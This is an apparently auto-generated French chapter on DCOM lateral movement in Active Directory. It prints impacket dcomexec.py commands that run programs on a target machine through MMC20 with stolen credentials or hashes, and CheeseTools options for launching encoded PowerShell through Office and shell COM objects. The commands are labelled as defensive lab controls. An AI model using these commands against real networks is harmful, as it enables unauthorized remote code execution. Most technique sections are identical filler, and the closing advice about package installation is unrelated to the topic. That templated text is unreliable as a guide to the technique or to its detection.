Mouvement interne — DCOM et télémétrie
Synthèse française et contrôlée du corpus « Internal - DCOM ». Ce chapitre explique mouvement interne — dcom et télémétrie dans le domaine « Services et déploiements Active Directory », avec une méthode de laboratoire, des commandes à faible impact, les traces attendues et un plan de correction vérifiable.
En bref
- But : Synthèse française et contrôlée du corpus « Internal - DCOM ». Ce chapitre explique mouvement interne — dcom et télémétrie dans le domaine « Services et déploiements Active Directory », avec une méthode de laboratoire, des commandes à faible impact, les traces attendues et un plan de correction vérifiable.
- Preuve attendue : une relation AD confirmée par deux sources et une recommandation de réduction des privilèges
- Limite : le résultat est valable uniquement pour les versions, rôles, chemins et conditions effectivement testés.
DCOM via MMC Application Class
Dans « Mouvement interne — DCOM et télémétrie », la section « DCOM via MMC Application Class » précise l’objet technique, les préconditions et la source de vérité à vérifier. Conservez uniquement les sorties nécessaires au constat.
DCOM via Office
Dans « Mouvement interne — DCOM et télémétrie », la section « DCOM via Office » précise l’objet technique, les préconditions et la source de vérité à vérifier. Conservez uniquement les sorties nécessaires au constat.
DCOM via ShellExecute
Dans « Mouvement interne — DCOM et télémétrie », la section « DCOM via ShellExecute » précise l’objet technique, les préconditions et la source de vérité à vérifier. Conservez uniquement les sorties nécessaires au constat.
DCOM via ShellBrowserWindow
Dans « Mouvement interne — DCOM et télémétrie », la section « DCOM via ShellBrowserWindow » précise l’objet technique, les préconditions et la source de vérité à vérifier. Conservez uniquement les sorties nécessaires au constat.
Architecture et concepts
Dans « Mouvement interne — DCOM et télémétrie », la section « Architecture et concepts » précise l’objet technique, les préconditions et la source de vérité à vérifier. Conservez uniquement les sorties nécessaires au constat.
Commandes et exemples
Les exemples ci-dessous proviennent des éléments utiles de « Mouvement interne — DCOM et télémétrie ». Adaptez uniquement les valeurs du laboratoire et conservez la commande exacte avec sa sortie.
Exemples de laboratoire
# Contrôle défensif en laboratoire — référence b2889c26
# Exemple de laboratoire — Mouvement interne — DCOM et télémétrie
dcomexec.py [-h] [-share SHARE] [-nooutput] [-ts] [-debug] [-codec CODEC] [-object [{ShellWindows,ShellBrowserWindow,MMC20}]] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] [-dc-ip ip address] [-A authfile] [-keytab KEYTAB] target [command ...]
dcomexec.py -share C$ -object MMC20 '<DOMAIN>/<audit-lab>:<PASSWORD>@<MACHINE_CIBLE>'
dcomexec.py -share C$ -object MMC20 '<DOMAIN>/<audit-lab>:<PASSWORD>@<MACHINE_CIBLE>' 'ipconfig'
python3 dcomexec.py -object MMC20 -silentcommand -debug $DOMAIN/$USER:$PASSWORD\$@$HOST 'notepad.exe'
# -object MMC20 specifies that we wish to instantiate the MMC20.Application object.
# -silentcommand executes the command without attempting to retrieve the output.# Contrôle défensif en laboratoire — référence 2e158e5d
# Exemple de laboratoire — Mouvement interne — DCOM et télémétrie
# https://klezvirus.github.io/RedTeaming/LateralMovement/LateralMovementDCOM/
-t, --target=VALUE Target Machine
-b, --binary=VALUE Binary: powershell.exe
-a, --args=VALUE Arguments: -enc <blah>
-m, --method=VALUE Methods: MMC20Application, ShellWindows,
ShellBrowserWindow, ExcelDDE, VisioAddonEx,
OutlookShellEx, ExcelXLL, VisioExecLine,
OfficeMacro
-r, --reg, --registry Enable registry manipulation
-h, -?, --help Show Help
Current Methods: MMC20.Application, ShellWindows, ShellBrowserWindow, ExcelDDE, VisioAddonEx, OutlookShellEx, ExcelXLL, VisioExecLine, OfficeMacro.# Contrôle défensif en laboratoire — référence 6658ed95
# Mouvement interne — DCOM et télémétrie
Get-ADDomainController -Filter *
Get-GPO -All | Select-Object DisplayName,Id,GpoStatus,ModificationTime
Get-DnsServerZone -ComputerName dc1.lab.local | Select-Object ZoneName,ZoneType,IsDsIntegrated# Contrôle défensif en laboratoire — référence da630d06
# Mouvement interne — DCOM et télémétrie
Get-Service -Name CcmExec,WsusService,WDS* -ErrorAction SilentlyContinue
Get-SmbShare | Select-Object Name,Path,DescriptionLire les résultats
Pour « Mouvement interne — DCOM et télémétrie », vérifiez l’objet, le principal, le droit effectif, l’héritage et l’événement associé. Un chemin théorique n’est confirmé que si toutes les préconditions sont présentes.
Références
- Internal All The Things — dépôt de référence
- https://github.com/fortra/impacket/blob/master/examples/dcomexec.py
- https://github.com/klezVirus/CheeseTools
- https://klezvirus.github.io/RedTeaming/LateralMovement/LateralMovementDCOM/
- https://raw.githubusercontent.com/rvrsh3ll/Misc-Powershell-Scripts/master/Invoke-DCOM.ps1
- https://raw.githubusercontent.com/n0tty/powershellery/master/Invoke-MMC20RCE.ps1
- https://gist.github.com/Philts/85d0f2f0a1cc901d40bbb5b44eb3b4c9
- https://gist.github.com/Philts/f7c85995c5198e845c70cc51cd4e7e2a
- https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/
- https://www.cybereason.com/blog/dcom-lateral-movement-techniques
À retenir
Pour maîtriser « Mouvement interne — DCOM et télémétrie », retenez trois idées : comprendre la provenance du paquet, les dépendances, les droits nécessaires et l’isolement du poste de test, exécuter une méthode limitée et reproductible, puis transformer la sortie en preuve contextualisée. Le chapitre est terminé lorsque le résultat peut être confirmé, que ses limites sont explicites et que la correction peut être retestée sans réinterpréter toute la mission.
- Savoir expliquer le mécanisme propre à « Mouvement interne — DCOM et télémétrie » sans réciter une commande.
- Conserver au minimum version réellement installée, chemin du binaire et variables d’environnement et fichiers de configuration créés.
- Éviter en priorité de installer depuis une source non vérifiée et de mélanger les dépendances du système et du laboratoire.
- Proposer une action corrective mesurable et un retest réalisable.